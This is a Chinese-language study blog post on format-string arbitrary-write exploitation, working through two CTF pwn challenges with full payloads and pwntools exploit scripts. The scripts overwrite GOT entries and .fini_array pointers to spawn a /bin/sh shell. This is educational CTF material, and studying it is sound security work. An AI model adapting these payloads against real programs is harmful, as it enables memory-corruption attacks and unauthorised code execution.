[关闭]
@H4l0 2020-07-27T15:16:38.000000Z 字数 6566 阅读 1913

格式化字符串任意地址写操作学习小计

PWN 格式化字符串


前言

大家对格式化字符串读操作一定不陌生,但是对写操作的概念或者具体步骤会比较模糊。这里主要总结一下格式化字符串写操作,会以两道例题来进行讲解。

格式化字符串写操作的原理

%c、%x 的用法

%c 在 printf 的使用中,表示的是输出类型为字符型,例如:%200c 表示总共输出 200 个字符,如果不足 200 个则在前面补上空字符。

再例如下面的代码:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main(){
  4. int i = 0x6667;
  5. printf("%200c",((char *)&i)[1]);
  6. return 0;
  7. }

输出结果:

image.png-10.7kB

所以根据上面的结果就很容易知道他的用法,这里的 %c 经常会配合 %n 来进行使用。

image.png-10.3kB

%n 的用法

特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。

  1. %n 一次性写入 4 个字节
  2. %hn 一次性写入 2 个字节
  3. %hhn 一次性写入 1 个字节

%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里

所以之后写内存的任务其实就是计数的任务了,在后面的例子中也会详细讲解到。

这个控制字符的详细用法在这篇文章中讲的很清楚了,这里就不赘述了。

使用 pwntools 模块生成 payload

直接利用 pwntools 的 fmtstr_payload 函数即可生成相应的 payload,具体用法可以查看官方文档

例如举一个最简单的用法,假如我们知道这里 fmt 的偏移是 4,我们要将 0x80405244 地址的值覆盖为 0x12344321,就可以这样调用:

  1. fmtstr_payload(4,{0x80405244:0x12344321})

image.png-35kB

例题

例题 1

这个例题是国赛某赛区线下半决赛的一道 pwn 题目。解题思路是覆盖某个函数的 got 表进行 getshell

程序代码

主要逻辑只有一个 main 函数,允许输入 64 个字符的字符串(其实这是一个提示最后的 payload 是 64 个字节长度),接着在下面有一处很明显的格式化字符串漏洞,那么这里我们就可以输入 %x、%p 进行内存泄露。

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char format; // [esp+0h] [ebp-48h]
  4. setvbuf(stdin, 0, 2, 0);
  5. setvbuf(stdout, 0, 2, 0);
  6. puts("Welcome to my ctf! What's your name?");
  7. __isoc99_scanf("%64s", &format);
  8. printf("Hello ");
  9. printf(&format);
  10. return 0;
  11. }

同时在程序中还有一个 system 函数,这里的 command 是一个 0x00 的 4 字节位于 .data 段的值。

image.png-32.6kB

确定偏移

按照正常套路来先确定一波偏移。

  1. aaaa%x,%x,%x,%x
  2. aaaa%4$x

很容易知道这里的偏移是 4。

image.png-27.7kB

解题思路

来缕清一下思路,我们只有一次格式化字符串的机会,要么是进行格式化字符串的读操作,要么是进行格式化字符串的写操作,所以这里就没办法在读内存之后进行任意地址写了。

那么有没有办法同时读或者写呢?或者让程序多循环几次呢?答案是有的。

具体的做法可以参考某位大佬的文章:https://bbs.ichunqiu.com/thread-43624-1-1.html

引用文章中的一张图:

image.png-42.4kB

按照文章中的 "使用格式化字符串漏洞使程序无限循环" 的操作,大概的操作是:

在将 start 函数或者 main 函数的地址覆写 .fini.array 段中的函数指针,导致程序在进行程序执行结束的收尾操作时,重新执行一次 main 函数,这样我们就可以重新返回 main 函数。
在覆写 .fini.array 段的函数指针的同时,将 printf 函数的 got 表覆盖为 system 函数的地址即可。

在 IDA 中查看 .fini.array 中区段的函数,可见就只有一个函数指针:__do_global_dtors_aux_fini_array_entry,所以我们的目的就是把 main 的地址写到这个地址即可。

image.png-49.6kB

回到 main 函数后,输入 /bin/sh\x00 就相当于调用 system("/bin/sh") 函数。

image.png-30.2kB

payload 的构造

这题的难点就在于 fmt payload 的构造,其实说难也不难,如果掌握了 %n、%hn、%hhn 等格式化串的用法,构造起来就会比较轻车熟路。这里需要覆盖两处地方,所以这里一定要了解原理才行。

  1. 首先将 __do_global_dtors_aux_fini_array_entry 函数指针覆盖为 main 函数地址

main 函数地址为 0x08048534, __do_global_dtors_aux_fini_array_entry 的地址为 0x804979C,这一步可以直接使用 fmtstr_payload。

  1. >>> fini_func = 0x0804979C
  2. >>> main_addr = 0x08048534
  3. >>> fmtstr_payload(4,{fini_func:main_addr},write_size='short')
  4. '\x9c\x97\x04\x08\x9e\x97\x04\x08%34092c%4$hn%33488c%5$hn'
  5. >>>

.
2. 得到上面的 payload 之后,在里面继续添加将 printf_got 覆盖为 system_plt 的操作即可。即:将 0x0804989C 的地址指针覆盖为 0x080483D0

(1). 添加地址

  1. \x9c\x97\x04\x08\x9e\x97\x04\x08
  2. =>
  3. \x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08

(2). 计算输出字符个数(%c)

需要写入 0x83d0,但是前面输出的字符串个数已经大于 0x83d0,而且数量只能往上加,所以这里只能使用截断的方法:从 0x83d0 加到 0x183d0 即可,最后写入时只会写 2 个字节,也就是 0x83d0,这样就达到了目的

  1. >>> hex(34088+33488+12)
  2. '0x10804'

所以这里进行减法就行,这里就得到了 31692。

  1. >>> 0x183d0-34088-33488-12
  2. 31692
  3. >>> hex(33488+31692+34088+12)
  4. '0x183d0'

所以构造好 0x0804989C 后的两个内存地址字节的值:

  1. =>
  2. \x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08%34088c%4$hn%33488c%5$hn%31692c%6$hn

同理继续添加地址:

  1. =>
  2. \x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08

计算输出字符个数:

  1. \x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算步骤:前面的格式化字符数量不变,使用截断法构造。这里向 0x0804989E 后的两个内存地址字节写入的值为 0x0804。但是原来输出数量为 0x183d0,继续往上加到 0x20804。截断后得到 0x0804。

  1. >>> 0x20804-(33488+31692+34088+12)
  2. 33844
  3. >>> hex(33844+33488+31692+34088+12)
  4. '0x20804'

因为最后的 payload 为:

  1. \x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算一下最后 len(payload) = 64,这也就是出题人设计 scanf 输入个数为 64 的原因。

exp

  1. from pwn import *
  2. r = process("./pwn")
  3. elf = ELF("./pwn")
  4. print_got = elf.got['printf']
  5. r.recvuntil("Welcome to my ctf! What's your name?")
  6. fini_func = 0x0804979C
  7. system_plt = 0x080483D0
  8. main_addr = 0x08048534
  9. #payload1 = fmtstr_payload(4,{fini_func:main_addr},word_size='short')
  10. #payload2 = fmtstr_payload(4,{print_got:system_plt},word_size='short')
  11. payload = "\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
  12. r.send(payload)
  13. r.recv()
  14. r.sendline('/bin/sh\x00')

例题 2

这道题是 2019 hgame 的一道 pwn 题。payload 的构造比较巧妙,通过覆盖 ___stack_chk_fail 函数的 got 表指针为后门函数地址来达到目的。

题目的逻辑很简单。

main 函数

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char format; // [rsp+0h] [rbp-60h]
  4. unsigned __int64 v5; // [rsp+58h] [rbp-8h]
  5. v5 = __readfsqword(0x28u); // canary
  6. init();
  7. read_n(&format, 0x58u);
  8. printf(&format); // printf(&format)
  9. return 0;
  10. }

read_n 函数

  1. __int64 __fastcall read_n(__int64 str, unsigned int len)
  2. {
  3. __int64 result; // rax
  4. signed int i; // [rsp+1Ch] [rbp-4h]
  5. for ( i = 0; ; ++i )
  6. {
  7. result = i;
  8. if ( i > len )
  9. break;
  10. if ( read(0, (i + str), 1uLL) < 0 )
  11. exit(-1);
  12. if ( *(i + str) == '\n' )
  13. {
  14. result = i + str;
  15. *result = 0;
  16. return result;
  17. }
  18. }
  19. return result;
  20. }

backdoor 函数

  1. int backdoor()
  2. {
  3. return system("/bin/sh");
  4. }

漏洞分析

首先,checksec 发现存在 canary。

image.png-13.7kB

在 main 函数中,存在一处栈溢出(刚好可以覆盖到 canary)和格式化字符串漏洞。但是程序只一次格式化字符串利用的机会,而且还存在 canary,并且在 printf 函数调用完成后也没有调用其他的库函数。

这里也没办法通过循环回 main 函数进行二次利用。

这里存在后门函数,所以很明显是将这个后门函数地址往某个地方写入,那往哪里写呢?这里可以直接往 ___stack_chk_fail 函数的 got 表里写,再构造 payload 完 send 出去之后通过溢出触发 ___stack_chk_fail 函数,即最终调用了 system 函数

构造方法

首先确定偏移为 6。

  1. nick@nick-machine:~/pwn/fmt$ ./babyfmtt
  2. It's easy to PWN
  3. aaaa%6$x
  4. aaaa6161616

再计算输入 payload 到 canary 的距离:0x60-0x8 = 0x58 = 88

  1. char format; // [rsp+0h] [rbp-60h]
  2. unsigned __int64 v5; // [rsp+58h] [rbp-8h]

接着先使用 fmtstr_payload 生成一个 payload ,发现长度是 58,所以我们需要手动在前面加上一写字符直到加到 88。

image.png-24kB

根据上面的方法先手动加上 30 个 'a',再加上地址

  1. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00

接着再计算输出字符的个数,比如将第一个 0x4e = 78 写入,写入的字符数:78-16-30 = 32,偏移是 6,此时 payload 即:

  1. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00%32c%6$hhn

接着将后面的格式化串照搬补上即可(不需要更改)。payload 如下:

  1. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00%32c%6$hhn%186c%7$hhn%56c%8$hhn%192c%9$hhn

但是!写好 payload 之后尝试 send 的出去之后,发现并没有 getshell,动态调试的时候也发现没有写入到 printf 的 got 表中,为什么呢?

image.png-84.1kB

在 debug 模式下发现这里只输出到 0x602010 ,原因是前面的 0x00 被截断了!解决方法也可以参考那篇文章("64位下的格式化字符串漏洞利用")里的:将 0x00 放在后面,还需对 payload 进行调整,使地址前面的数据恰好为地址长度的倍数

image.png-173.9kB

在调用到 printf 函数时下个断点,看到这个是赋值了三个参数,0x00 被放到了相对于栈偏移位置为 2 的地方,这也就是下面的 payload 的偏移为 8 (6+2)的原因。

  1. payload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12
  2. 或者
  3. payload = "%2126c%9$hn%63474c%10$hn"+p64(0x601020)+p64(0x601022)+p64(1)*15

最后的 exp:

  1. from pwn import *
  2. r = process("./babyfmtt")
  3. r.recvuntil("It's easy to PWN")
  4. stack_chk = 0x601020
  5. backdoor = 0x40084E
  6. payload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12
  7. #payload = fmtstr_payload(6,{stack_chk:backdoor}).ljust(89,'a')
  8. log.info(payload)
  9. log.info("length of payload: " + str(len(payload)))
  10. r.sendline(payload)
  11. r.interactive()

总结

总的来说,还是需要熟练掌握 %n 的用法才能利用好格式化字符串漏洞。

参考文章

https://bbs.ichunqiu.com/thread-43624-1-1.html
http://docs.pwntools.com/en/stable/fmtstr.html

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注